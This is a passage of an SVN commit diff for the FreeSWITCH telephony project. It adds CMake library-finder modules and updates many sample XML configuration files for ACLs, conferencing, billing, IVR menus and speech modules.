+# APR_INCLUDES, where to find apr.h, etc.
+# APR_LIBS, the libraries to link against to use APR.
+# APR_FLAGS, the flags to use to compile
+# APR_DEFINITIONS, definitions to use when compiling code that uses APR.
+# APR_FOUND, set to 'yes' if found
+
+find_program(APR_CONFIG_EXECUTABLE
+    apr-1-config
+    /usr/local/apr/1.2.12/bin
+    /usr/local/bin
+    /usr/bin
+    C:/Progra~1/apr/bin
+    )
+
+mark_as_advanced(APR_CONFIG_EXECUTABLE)
+
+macro(_apr_invoke _varname _regexp)
+    execute_process(
+        COMMAND ${APR_CONFIG_EXECUTABLE} ${ARGN}
+        OUTPUT_VARIABLE _apr_output
+        RESULT_VARIABLE _apr_failed
+    )
+
+    if(_apr_failed)
+        message(FATAL_ERROR "apr-1-config ${ARGN} failed")
+    else(_apr_failed)
+        string(REGEX REPLACE "[\r\n]"  "" _apr_output "${_apr_output}")
+        string(REGEX REPLACE " +$"     "" _apr_output "${_apr_output}")
+
+        if(NOT ${_regexp} STREQUAL "")
+            string(REGEX REPLACE "${_regexp}" " " _apr_output "${_apr_output}")
+        endif(NOT ${_regexp} STREQUAL "")
+
+        separate_arguments(_apr_output)
+        set(${_varname} "${_apr_output}")
+    endif(_apr_failed)
+endmacro(_apr_invoke)
+
+_apr_invoke(APR_INCLUDES  "(^| )-I" --includes)
+_apr_invoke(APR_FLAGS               --cppflags --cflags)
+_apr_invoke(APR_EXTRALIBS "(^| )-l" --libs)
+_apr_invoke(APR_LIBS      ""        --link-ld)
+
+if(APR_INCLUDES AND APR_EXTRALIBS AND APR_LIBS)
+    set(APR_FOUND "YES")
+    message (STATUS "apr found: YES ${APR_LIBS}")
+endif(APR_INCLUDES AND APR_EXTRALIBS AND APR_LIBS)
+

Deleted: freeswitch/branches/seven/cmake_modules/FindAPRUtil.cmake

Copied: freeswitch/branches/seven/cmake_modules/FindAPRUtil.cmake (from rev 14471, freeswitch/trunk/cmake_modules/FindAPRUtil.cmake) (0 => 14472)


--- freeswitch/branches/seven/cmake_modules/FindAPRUtil.cmake	                        (rev 0)
+++ freeswitch/branches/seven/cmake_modules/FindAPRUtil.cmake	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,49 @@
+# Locate APR-Util include paths and libraries
+
+# This module defines
+# APRUTIL_INCLUDES, where to find apr.h, etc.
+# APRUTIL_LIBS, the libraries to link against to use APR.
+# APRUTIL_FOUND, set to yes if found
+
+find_program(APRUTIL_CONFIG_EXECUTABLE
+    apu-1-config
+    /usr/local/apr-util/1.2.12/bin
+    /usr/local/bin
+    /usr/bin
+    C:/Progra~1/apr/bin
+    )
+
+mark_as_advanced(APRUTIL_CONFIG_EXECUTABLE)
+
+macro(_apu_invoke _varname _regexp)
+    execute_process(
+        COMMAND ${APRUTIL_CONFIG_EXECUTABLE} ${ARGN}
+        OUTPUT_VARIABLE _apr_output
+        RESULT_VARIABLE _apr_failed
+    )
+
+    if(_apr_failed)
+        message(FATAL_ERROR "apu-1-config ${ARGN} failed")
+    else(_apr_failed)
+        string(REGEX REPLACE "[\r\n]"  "" _apr_output "${_apr_output}")
+        string(REGEX REPLACE " +$"     "" _apr_output "${_apr_output}")
+
+        if(NOT ${_regexp} STREQUAL "")
+            string(REGEX REPLACE "${_regexp}" " " _apr_output "${_apr_output}")
+        endif(NOT ${_regexp} STREQUAL "")
+
+        separate_arguments(_apr_output)
+
+        set(${_varname} "${_apr_output}")
+    endif(_apr_failed)
+endmacro(_apu_invoke)
+
+_apu_invoke(APRUTIL_INCLUDES "(^| )-I"  --includes)
+_apu_invoke(APRUTIL_LIBS     ""         --link-ld)
+
+if(APRUTIL_LIBS AND APRUTIL_INCLUDES)
+    set(APRUTIL_FOUND "YES")
+    set(APRUTIL_DEFINITIONS "")
+    message (STATUS "apr-util found: YES ${APRUTIL_LIBS}")
+endif(APRUTIL_LIBS AND APRUTIL_INCLUDES)
+

Deleted: freeswitch/branches/seven/cmake_modules/FindLibedit.cmake

Copied: freeswitch/branches/seven/cmake_modules/FindLibedit.cmake (from rev 14471, freeswitch/trunk/cmake_modules/FindLibedit.cmake) (0 => 14472)


--- freeswitch/branches/seven/cmake_modules/FindLibedit.cmake	                        (rev 0)
+++ freeswitch/branches/seven/cmake_modules/FindLibedit.cmake	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,15 @@
+ 
+find_path(PATH_INC_EDIT NAMES "histedit.h" PATHS ${CMAKE_SOURCE_DIR}/libs/libedit/src/)
+
+if( NOT PATH_INC_EDIT )
+        message(FATAL_ERROR"Unable to locate libedit include files" )
+endif( NOT PATH_INC_EDIT )
+
+find_library(PATH_LIB_EDIT NAMES "libedit.a" PATHS ${CMAKE_SOURCE_DIR}/libs/libedit/src/.libs/)
+
+if( NOT PATH_LIB_EDIT )
+        message(FATAL_ERROR "Unable to locate libedit library file" )
+endif( NOT PATH_LIB_EDIT )
+
+MESSAGE( STATUS "PATH_INC_EDIT = \"${PATH_INC_EDIT}\"" )
+MESSAGE( STATUS "PATH_LIB_EDIT = \"${PATH_LIB_EDIT}\"" )

Deleted: freeswitch/branches/seven/cmake_modules/FindSndfile.cmake

Copied: freeswitch/branches/seven/cmake_modules/FindSndfile.cmake (from rev 14471, freeswitch/trunk/cmake_modules/FindSndfile.cmake) (0 => 14472)


--- freeswitch/branches/seven/cmake_modules/FindSndfile.cmake	                        (rev 0)
+++ freeswitch/branches/seven/cmake_modules/FindSndfile.cmake	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,34 @@
+# - Find sndfile
+# Find the native sndfile includes and libraries
+#
+#  SNDFILE_INCLUDE_DIR - where to find sndfile.h, etc.
+#  SNDFILE_LIBRARIES   - List of libraries when using libsndfile.
+#  SNDFILE_FOUND       - True if libsndfile found.
+
+if(SNDFILE_INCLUDE_DIR)
+    # Already in cache, be silent
+    set(SNDFILE_FIND_QUIETLY TRUE)
+endif(SNDFILE_INCLUDE_DIR)
+
+FIND_PATH(SNDFILE_INCLUDE_DIR NAMES sndfile.h PATHS ${CMAKE_SOURCE_DIR}/libs/libsndfile/src/)
+
+FIND_LIBRARY(SNDFILE_LIBRARY NAMES libsndfile.a PATHS ${CMAKE_SOURCE_DIR}/libs/libsndfile/src/.libs/)
+
+MESSAGE( STATUS "SNDFILE_INCLUDE_DIR = \"${SNDFILE_INCLUDE_DIR}\"" )
+MESSAGE( STATUS "SNDFILE_LIBRARY = \"${SNDFILE_LIBRARY}\"" )
+
+# Handle the QUIETLY and REQUIRED arguments and set SNDFILE_FOUND to TRUE if
+# all listed variables are TRUE.
+include(FindPackageHandleStandardArgs)
+find_package_handle_standard_args(SNDFILE DEFAULT_MSG
+    SNDFILE_INCLUDE_DIR SNDFILE_LIBRARY)
+
+if(SNDFILE_FOUND)
+  set(SNDFILE_LIBRARIES ${SNDFILE_LIBRARY})
+else(SNDFILE_FOUND)
+  set(SNDFILE_LIBRARIES)
+endif(SNDFILE_FOUND)
+
+mark_as_advanced(SNDFILE_INCLUDE_DIR SNDFILE_LIBRARY)
+MESSAGE( STATUS "SNDFILE_INCLUDE_DIR = \"${SNDFILE_INCLUDE_DIR}\"" )
+MESSAGE( STATUS "SNDFILE_LIBRARY = \"${SNDFILE_LIBRARY}\"" )

Modified: freeswitch/branches/seven/conf/autoload_configs/acl.conf.xml (14471 => 14472)


--- freeswitch/branches/seven/conf/autoload_configs/acl.conf.xml	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/conf/autoload_configs/acl.conf.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,26 +1,19 @@
 <configuration name="acl.conf" description="Network Lists">
   <network-lists>
+    <!-- 
+	 These ACL's are automatically created on startup.
 
-    <list name="dl-candidates" default="allow">
-      <node type="deny" cidr="10.0.0.0/8"/>
-      <node type="deny" cidr="172.16.0.0/12"/>
-      <node type="deny" cidr="192.168.0.0/16"/>
-    </list>
+	 rfc1918.auto  - RFC1918 Space
+	 nat.auto      - RFC1918 Excluding your local lan.
+	 localnet.auto - ACL for your local lan.
+	 loopback.auto - ACL for your local lan.
+    -->
 
-    <list name="rfc1918" default="deny">
-      <node type="allow" cidr="10.0.0.0/8"/>
-      <node type="allow" cidr="172.16.0.0/12"/>
-      <node type="allow" cidr="192.168.0.0/16"/>
-    </list>
-
     <list name="lan" default="allow">
       <node type="deny" cidr="192.168.42.0/24"/>
       <node type="allow" cidr="192.168.42.42/32"/>
     </list>
 
-    <list name="strict" default="deny">
-      <node type="allow" cidr="208.102.123.124/32"/>
-    </list>
     <!--
 	This will traverse the directory adding all users 
 	with the cidr= tag to this ACL, when this ACL matches

Copied: freeswitch/branches/seven/conf/autoload_configs/cidlookup.conf.xml (from rev 14471, freeswitch/trunk/conf/autoload_configs/cidlookup.conf.xml) (0 => 14472)


--- freeswitch/branches/seven/conf/autoload_configs/cidlookup.conf.xml	                        (rev 0)
+++ freeswitch/branches/seven/conf/autoload_configs/cidlookup.conf.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,29 @@
+<configuration name="cidlookup.conf" description="cidlookup Configuration">
+  <settings>
+    <!-- comment out url to not setup a url based lookup -->
+    <param name="url" value="http://query.voipcnam.com/query.php?api_key=MYAPIKEY&number=${caller_id_number}"/>
+
+    <!-- set to false to not cache (in memcache) results from the url query -->
+    <param name="cache" value="true"/>
+    <!-- expire is in seconds -->
+    <param name="cache-expire" value="86400"/>
+
+    <param name="odbc-dsn" value="phone:phone:phone"/>
+
+    <!-- comment out sql to not setup a database (directory) lookup -->
+    <param name="sql" value="
+     SELECT name||' ('||type||')' AS name 
+      FROM phonebook p JOIN numbers n ON p.id = n.phonebook_id
+      WHERE n.number='${caller_id_number}' 
+      LIMIT 1
+      "/>
+    <!-- comment out citystate-sql to not setup a database (city/state) 
+         lookup -->
+    <param name="citystate-sql" value="
+     SELECT ratecenter||' '||state as name
+      FROM npa_nxx_company_ocn
+      WHERE npa = ${caller_id_number:1:3} AND nxx = ${caller_id_number:4:3}
+      LIMIT 1
+      "/>
+  </settings>
+</configuration>

Modified: freeswitch/branches/seven/conf/autoload_configs/conference.conf.xml (14471 => 14472)


--- freeswitch/branches/seven/conf/autoload_configs/conference.conf.xml	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/conf/autoload_configs/conference.conf.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -7,7 +7,7 @@
   </advertise>
 
   <!-- These are the default keys that map when you do not specify a caller control group -->	
-  <!-- Note: none and default are reserved names for group names -->	
+  <!-- Note: none and default are reserved names for group names.  Disabled if dist-dtmf member flag is set. -->	
   <caller-controls>
     <group name="default">
       <control action="mute" digits="0"/>
@@ -38,8 +38,9 @@
       <!-- Energy level required for audio to be sent to the other users -->
       <param name="energy-level" value="300"/>
 
-      <!--Can be | delim of waste|mute|deaf waste will always transmit data to each channel
-          even during silence -->
+      <!--Can be | delim of waste|mute|deaf|dist-dtmf waste will always transmit data to each channel
+          even during silence.  dist-dtmf propagates dtmfs to all other members, but channel controls
+	  via dtmf will be disabled. -->
       <!--<param name="member-flags" value="waste"/>-->
 
       <!-- Name of the caller control group to use for this profile -->
@@ -83,7 +84,6 @@
       <param name="pin-sound" value="conference/conf-pin.wav"/>
       <!-- File to play to when the pin is invalid -->
       <param name="bad-pin-sound" value="conference/conf-bad-pin.wav"/>
-      <param name="comfort-noise-level" value="1400"/>
       <!-- Conference pin -->
       <!--<param name="pin" value="12345"/>-->
       <!-- Default Caller ID Name for outbound calls -->
@@ -174,5 +174,15 @@
       <param name="comfort-noise" value="true"/>
     </profile>
 
+    <profile name="sla">
+      <param name="domain" value="$${domain}"/>
+      <param name="rate" value="16000"/>
+      <param name="interval" value="20"/>
+      <param name="caller-controls" value="none"/>
+      <param name="energy-level" value="200"/>
+      <param name="moh-sound" value="silence"/>
+      <param name="comfort-noise" value="true"/>
+    </profile>
+
   </profiles>
 </configuration>

Modified: freeswitch/branches/seven/conf/autoload_configs/event_multicast.conf.xml (14471 => 14472)


--- freeswitch/branches/seven/conf/autoload_configs/event_multicast.conf.xml	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/conf/autoload_configs/event_multicast.conf.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -3,6 +3,11 @@
     <param name="address" value="225.1.1.1"/>
     <param name="port" value="4242"/>
     <param name="bindings" value="all"/>
+    <param name="ttl" value="1"/>
+    <!-- Uncomment this to enable pre-shared key encryption on the packets. -->
+    <!-- For this option to work, you'll need to have the openssl development -->
+    <!-- headers installed when you ran ./configure -->
+    <!-- <param name="psk" value="ClueCon"/> -->
   </settings>
 </configuration>
 

Modified: freeswitch/branches/seven/conf/autoload_configs/event_socket.conf.xml (14471 => 14472)


--- freeswitch/branches/seven/conf/autoload_configs/event_socket.conf.xml	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/conf/autoload_configs/event_socket.conf.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,6 @@
 <configuration name="event_socket.conf" description="Socket Client">
   <settings>
+    <param name="nat-map" value="false"/>
     <param name="listen-ip" value="127.0.0.1"/>
     <param name="listen-port" value="8021"/>
     <param name="password" value="ClueCon"/>

Modified: freeswitch/branches/seven/conf/autoload_configs/fifo.conf.xml (14471 => 14472)


--- freeswitch/branches/seven/conf/autoload_configs/fifo.conf.xml	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/conf/autoload_configs/fifo.conf.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,7 +1,7 @@
 <configuration name="fifo.conf" description="FIFO Configuration">
   <fifos>
     <fifo name="cool_fifo@$${domain}" importance="0">
-      <!--<member timeout="60" simo="1" lag="20">user/1005@$${domain}</member>-->
+      <!--<member timeout="60" simo="1" lag="20">{member_wait=nowait}user/1005@$${domain}</member>-->
     </fifo>
   </fifos>
 </configuration>

Modified: freeswitch/branches/seven/conf/autoload_configs/iax.conf.xml (14471 => 14472)


--- freeswitch/branches/seven/conf/autoload_configs/iax.conf.xml	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/conf/autoload_configs/iax.conf.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -8,5 +8,7 @@
     <param name="codec-prefs" value="PCMU@20i,PCMA,speex,L16"/>
     <param name="codec-master" value="us"/>
     <param name="codec-rates" value="8"/>
+    <!-- seconds till we give up when there is no media -->
+    <param name="media-timeout" value="300"/>
   </settings>
 </configuration>

Modified: freeswitch/branches/seven/conf/autoload_configs/ivr.conf.xml (14471 => 14472)


--- freeswitch/branches/seven/conf/autoload_configs/ivr.conf.xml	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/conf/autoload_configs/ivr.conf.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -3,11 +3,11 @@
     <!-- demo IVR setup -->
     <!-- demo IVR, Main Menu -->
     <menu name="demo_ivr"
-          greet-long="phrase:demo_ivr_main_menu"
-          greet-short="phrase:demo_ivr_main_menu_short"
-          invalid-sound="ivr/ivr-that_was_an_invalid_entry.wav"
-          exit-sound="voicemail/vm-goodbye.wav"
-          timeout ="10000"
+	  greet-long="phrase:demo_ivr_main_menu"
+	  greet-short="phrase:demo_ivr_main_menu_short"
+	  invalid-sound="ivr/ivr-that_was_an_invalid_entry.wav"
+	  exit-sound="voicemail/vm-goodbye.wav"
+	  timeout="10000"
 	  inter-digit-timeout="2000"
 	  max-failures="3"
 	  max-timeouts="3"
@@ -15,8 +15,9 @@
       <entry action="menu-exec-app" digits="1" param="bridge sofia/$${domain}/888@conference.freeswitch.org"/>
       <entry action="menu-exec-app" digits="2" param="transfer 9996 XML default"/>    <!-- FS echo -->
       <entry action="menu-exec-app" digits="3" param="transfer 9999 XML default"/>    <!-- MOH -->
-      <entry action="menu-sub" digits="4" param="demo_ivr_submenu"/>  <!-- demo sub menu -->
-      <entry action="menu-exec-app" digits="5" param="transfer 1234*256 enum"/>    <!-- Screaming monkeys -->
+      <entry action="menu-exec-app" digits="4" param="transfer 9991 XML default"/>    <!-- ClueCon -->
+      <entry action="menu-exec-app" digits="5" param="transfer 1234*256 enum"/>       <!-- Screaming monkeys -->
+      <entry action="menu-sub" digits="6" param="demo_ivr_submenu"/>                  <!-- demo sub menu -->
       <entry action="menu-exec-app" digits="/^(10[01][0-9])$/" param="transfer $1 XML features"/> 
       <entry action="menu-top" digits="9"/>          <!-- Repeat this menu -->
     </menu>
@@ -49,10 +50,7 @@
           max-failures="3">
       <entry action="menu-exit" digits="*"/>
       <entry action="menu-playback" digits="1" param="say:You pressed 1"/>
-      <entry action="menu-call-transfer" digits="2" param=
-
-
-"1000"/>
+      <entry action="menu-call-transfer" digits="2" param="1000"/>
       <entry action="menu-call-transfer" digits="3" param="1001"/>
     </menu>
 -->

Modified: freeswitch/branches/seven/conf/autoload_configs/lcr.conf.xml (14471 => 14472)


--- freeswitch/branches/seven/conf/autoload_configs/lcr.conf.xml	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/conf/autoload_configs/lcr.conf.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -16,5 +16,47 @@
       <param name="id" value="2"/>
       <param name="order_by" value="reliability,quality"/>
     </profile>
+<!-- 
+  Some samples of how to do custom SQL:
+
+    =============================================================
+    PostgreSQL with contrib prefix module which supports fast
+    prefix queries.  Ideal option.
+    =============================================================
+    <profile name="pg_prefix">
+      <param name="custom_sql" value="
+SELECT l.digits, c.carrier_name, l.rate, cg.prefix AS gw_prefix, cg.suffix AS gw_suffix, l.lead_strip, l.trail_strip, l.prefix, l.suffix
+FROM lcr l JOIN carriers c ON l.carrier_id=c.id JOIN carrier_gateway cg ON c.id=cg.carrier_id WHERE c.enabled = '1' AND cg.enabled = '1' AND l.enabled = '1' AND digits_prefix @> '%q'
+AND CURRENT_TIMESTAMP BETWEEN date_start AND date_end
+ORDER BY digits DESC, random();
+      "/>
+    </profile>
+
+    =============================================================
+    PostgreSQL with contrib prefix module which supports fast
+    prefix queries.  Ideal option.  Alternate syntax which requies
+    a session but allows variable substitution.
+    =============================================================
+    <profile name="pg_prefix2">
+      <param name="custom_sql" value="
+SELECT l.digits, c.carrier_name, l.rate, cg.prefix AS gw_prefix, cg.suffix AS gw_suffix, l.lead_strip, l.trail_strip, l.prefix, l.suffix
+FROM lcr l JOIN carriers c ON l.carrier_id=c.id JOIN carrier_gateway cg ON c.id=cg.carrier_id WHERE c.enabled = '1' AND cg.enabled = '1' AND l.enabled = '1' AND digits_prefix @> '${lcr_query_digits}'
+AND CURRENT_TIMESTAMP BETWEEN date_start AND date_end
+ORDER BY digits DESC, random();
+      "/>
+    </profile>
+
+    =============================================================
+    Demonstrates use of computed inlist.
+    =============================================================
+    <profile name="inlist">
+      <param name="custom_sql" value="
+SELECT l.digits, c.carrier_name, l.rate, cg.prefix AS gw_prefix, cg.suffix AS gw_suffix, l.lead_strip, l.trail_strip, l.prefix, l.suffix
+FROM lcr l JOIN carriers c ON l.carrier_id=c.id JOIN carrier_gateway cg ON c.id=cg.carrier_id WHERE c.enabled = '1' AND cg.enabled = '1' AND l.enabled = '1' AND digits IN (${lcr_query_expanded_digits})
+AND CURRENT_TIMESTAMP BETWEEN date_start AND date_end
+ORDER BY digits DESC, random();
+      "/>
+    </profile>
+-->
   </profiles>
 </configuration>

Modified: freeswitch/branches/seven/conf/autoload_configs/local_stream.conf.xml (14471 => 14472)


--- freeswitch/branches/seven/conf/autoload_configs/local_stream.conf.xml	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/conf/autoload_configs/local_stream.conf.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,4 +1,13 @@
 <configuration name="local_stream.conf" description="stream files from local dir">
+  <!-- fallback to default if requested moh class isn't found -->
+  <directory name="default" path="$${base_dir}/sounds/music/8000">
+    <param name="rate" value="8000"/>
+    <param name="shuffle" value="true"/>
+    <param name="channels" value="1"/>
+    <param name="interval" value="20"/>
+    <param name="timer-name" value="soft"/>
+  </directory>
+
   <directory name="moh/8000" path="$${base_dir}/sounds/music/8000">
     <param name="rate" value="8000"/>
     <param name="shuffle" value="true"/>

Modified: freeswitch/branches/seven/conf/autoload_configs/logfile.conf.xml (14471 => 14472)


--- freeswitch/branches/seven/conf/autoload_configs/logfile.conf.xml	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/conf/autoload_configs/logfile.conf.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -9,7 +9,7 @@
         <!-- File to log to -->
 	<!--<param name="logfile" value="/var/log/freeswitch.log"/>-->
         <!-- At this length in bytes rotate the log file (0 for never) -->
-        <!--<param name="rollover" value="10485760"/>-->
+        <param name="rollover" value="10485760"/>
       </settings>
       <mappings>
 	<!-- 

Copied: freeswitch/branches/seven/conf/autoload_configs/memcache.conf.xml (from rev 14471, freeswitch/trunk/conf/autoload_configs/memcache.conf.xml) (0 => 14472)


--- freeswitch/branches/seven/conf/autoload_configs/memcache.conf.xml	                        (rev 0)
+++ freeswitch/branches/seven/conf/autoload_configs/memcache.conf.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,6 @@
+<configuration name="memcache.conf" description="memcache Configuration">
+  <settings>
+    <!-- comma sep list of servers: eg:  localhost,otherhost:port,anotherone -->
+    <param name="memcache-servers" value="localhost"/>
+  </settings>
+</configuration>

Modified: freeswitch/branches/seven/conf/autoload_configs/modules.conf.xml (14471 => 14472)


--- freeswitch/branches/seven/conf/autoload_configs/modules.conf.xml	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/conf/autoload_configs/modules.conf.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -49,6 +49,8 @@
     <load module="mod_limit"/>
     <load module="mod_esf"/>
     <load module="mod_fsv"/>
+    <load module="mod_cluechoo"/>
+    <!--<load module="mod_spy"/>-->
 
     <!-- SNOM Module -->
     <!--<load module="mod_snom"/>-->
@@ -66,7 +68,7 @@
     <load module="mod_ilbc"/>
     <load module="mod_speex"/>
     <load module="mod_h26x"/>
-    <!--<load module="mod_siren"/>-->
+    <load module="mod_siren"/>
     <!--<load module="mod_celt"/>-->
 
     <!-- File Format Interfaces -->
@@ -77,6 +79,7 @@
     <!--For local streams (play all the files in a directory)-->
     <load module="mod_local_stream"/>
     <load module="mod_tone_stream"/>
+    <load module="mod_file_string"/>
 
     <!-- Timers -->
 
@@ -91,11 +94,15 @@
     <!-- <load module="mod_flite"/> -->
     <!-- <load module="mod_pocketsphinx"/> -->
     <!-- <load module="mod_cepstral"/> -->
-    <!-- <load module="mod_openmrcp"/> -->
     <!-- <load module="mod_rss"/> -->
     
     <!-- Say -->
     <load module="mod_say_en"/>
+    <load module="mod_say_ru"/>
     <!-- <load module="mod_say_zh"/> -->
+
+    <!-- Third party modules -->
+    <!--<load module="mod_nibblebill"/>-->
+
   </modules>
 </configuration>

Copied: freeswitch/branches/seven/conf/autoload_configs/nibblebill.conf.xml (from rev 14471, freeswitch/trunk/conf/autoload_configs/nibblebill.conf.xml) (0 => 14472)


--- freeswitch/branches/seven/conf/autoload_configs/nibblebill.conf.xml	                        (rev 0)
+++ freeswitch/branches/seven/conf/autoload_configs/nibblebill.conf.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,36 @@
+<configuration name="nibblebill.conf" description="Nibble Billing">
+  <settings>
+    <!-- See http://wiki.freeswitch.org/index.php?title=Mod_nibblebill for help with these options -->
+
+    <!-- Information for connecting to your database -->
+    <param name="db_username" value="bandwidth.com"/>
+    <param name="db_password" value="password"/>
+    <param name="db_dsn" value="bandwidth.com"/>
+
+    <!-- The database table where your CASH column is located -->
+    <param name="db_table" value="accounts"/>
+
+    <!-- The column name where we store the value of the account -->
+    <param name="db_column_cash" value="cash"/>
+
+    <!-- The column name for the unique ID identifying the account -->
+    <param name="db_column_account" value="id"/>
+
+
+    <!-- Default heartbeat interval. Set to 'off' for no heartbeat (i.e. bill only at end of call) -->
+    <param name="global_heartbeat" value="60"/>
+
+    <!-- By default, warn a caller when their balance is at $5.00. You can set this to a negative number. -->
+    <param name="lowbal_amt" value="5"/>
+    <param name="lowbal_action" value="play ding"/>
+
+    <!-- By default, terminate a caller when their balance hits $0.00. You can set this to a negative number. -->
+    <param name="nobal_amt" value="0"/>
+    <param name="nobal_action" value="hangup"/>
+
+    <!-- If a call goes beyond a certain dollar amount, flag or terminate it -->
+    <param name="percall_max_amt" value="100"/>
+    <param name="percall_action" value="hangup"/>
+
+  </settings>
+</configuration>

Modified: freeswitch/branches/seven/conf/autoload_configs/opal.conf.xml (14471 => 14472)


--- freeswitch/branches/seven/conf/autoload_configs/opal.conf.xml	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/conf/autoload_configs/opal.conf.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -4,6 +4,9 @@
     <param name="context" value="default"/>
     <param name="dialplan" value="XML"/>
     <param name="codec-prefs" value="PCMU"/>
+    <param name="gk-address" value=""/>    <!-- empty to disable, "*" to search LAN -->
+    <param name="gk-identifer" value=""/>  <!-- optional name of gk -->
+    <param name="gk-interface" value=""/>  <!-- optional listener interface name -->
   </settings>
   <listeners>
     <listener name="default">

Modified: freeswitch/branches/seven/conf/autoload_configs/pocketsphinx.conf.xml (14471 => 14472)


--- freeswitch/branches/seven/conf/autoload_configs/pocketsphinx.conf.xml	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/conf/autoload_configs/pocketsphinx.conf.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -4,7 +4,9 @@
     <param name="silence-hits" value="25"/>
     <param name="listen-hits" value="1"/>
     <param name="auto-reload" value="true"/>
+    <!--<param name="language-weight" value="1"/>-->
     <!--<param name="narrowband-model" value="communicator"/>-->
     <!--<param name="wideband-model" value="wsj1"/>-->
+    <!--<param name="dictionary" value="default.dic"/>-->
   </settings>
 </configuration>

Modified: freeswitch/branches/seven/conf/autoload_configs/portaudio.conf.xml (14471 => 14472)


--- freeswitch/branches/seven/conf/autoload_configs/portaudio.conf.xml	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/conf/autoload_configs/portaudio.conf.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -15,6 +15,8 @@
     <!--<param name="ring-file" value="/sounds/ring.wav"/>-->
     <!--Number of seconds to pause between rings -->
     <!--<param name="ring-interval" value="5"/>-->
+    <!--Enable or Disable dual_streams-->
+    <!--<param name="dual-streams" value="true"/>-->
 
     <!--file to play when calls are on hold-->
     <param name="hold-file" value="$${hold_music}"/>

Modified: freeswitch/branches/seven/conf/autoload_configs/python.conf.xml (14471 => 14472)


--- freeswitch/branches/seven/conf/autoload_configs/python.conf.xml	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/conf/autoload_configs/python.conf.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -4,13 +4,13 @@
     <!--<param name="xml-handler-bindings" value="dialplan"/>-->
 
     <!--
-	The following options identifies a py script that is launched
+	The following options identifies a py module that is launched
 	at startup and may live forever in the background.
 	You can define multiple lines, one for each script you 
 	need to run.
     -->
-    <!--<param name="startup-script" value="startup_script_1.py"/>-->
-    <!--<param name="startup-script" value="startup_script_2.py"/>-->
+    <!--<param name="startup-script" value="startup_script_1"/>-->
+    <!--<param name="startup-script" value="startup_script_2"/>-->
 
   </settings>
 </configuration>

Modified: freeswitch/branches/seven/conf/autoload_configs/switch.conf.xml (14471 => 14472)


--- freeswitch/branches/seven/conf/autoload_configs/switch.conf.xml	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/conf/autoload_configs/switch.conf.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -10,8 +10,8 @@
     <key name="7" value="console loglevel 0"/>
     <key name="8" value="console loglevel 7"/>
     <key name="9" value="sofia status profile internal"/>
-    <key name="10" value="fsctl pause"/>
-    <key name="11" value="fsctl resume"/>
+    <key name="10" value="sofia profile internal siptrace on"/>
+    <key name="11" value="sofia profile internal siptrace off"/>
     <key name="12" value="version"/>
   </cli-keybindings> 
   
@@ -60,6 +60,7 @@
     <!--RTP port range -->
     <!--<param name="rtp-start-port" value="16384"/>-->
     <!--<param name="rtp-end-port" value="32768"/>-->
+    <param name="rtp-enable-zrtp" value="true"/>
   </settings>
 
 </configuration>

Copied: freeswitch/branches/seven/conf/autoload_configs/unimrcp.conf.xml (from rev 14471, freeswitch/trunk/conf/autoload_configs/unimrcp.conf.xml) (0 => 14472)


--- freeswitch/branches/seven/conf/autoload_configs/unimrcp.conf.xml	                        (rev 0)
+++ freeswitch/branches/seven/conf/autoload_configs/unimrcp.conf.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,20 @@
+<configuration name="unimrcp.conf" description="UniMRCP Client">
+  <settings>
+    <!-- UniMRCP profile to use for TTS -->
+    <param name="default-tts-profile" value="voxeo-prophecy8.0-mrcp1"/>
+    <!-- UniMRCP profile to use for ASR -->
+    <param name="default-asr-profile" value="voxeo-prophecy8.0-mrcp1"/>
+    <!-- UniMRCP logging level to appear in freeswitch.log.  Options are:
+         EMERGENCY|ALERT|CRITICAL|ERROR|WARNING|NOTICE|INFO|DEBUG -->
+    <param name="log-level" value="DEBUG"/>
+
+    <param name="max-connection-count" value="100"/>
+    <param name="offer-new-connection" value="1"/>
+  </settings>
+
+  <profiles>
+    <X-PRE-PROCESS cmd="include" data="../mrcp_profiles/*.xml"/>
+  </profiles>
+
+</configuration>
+

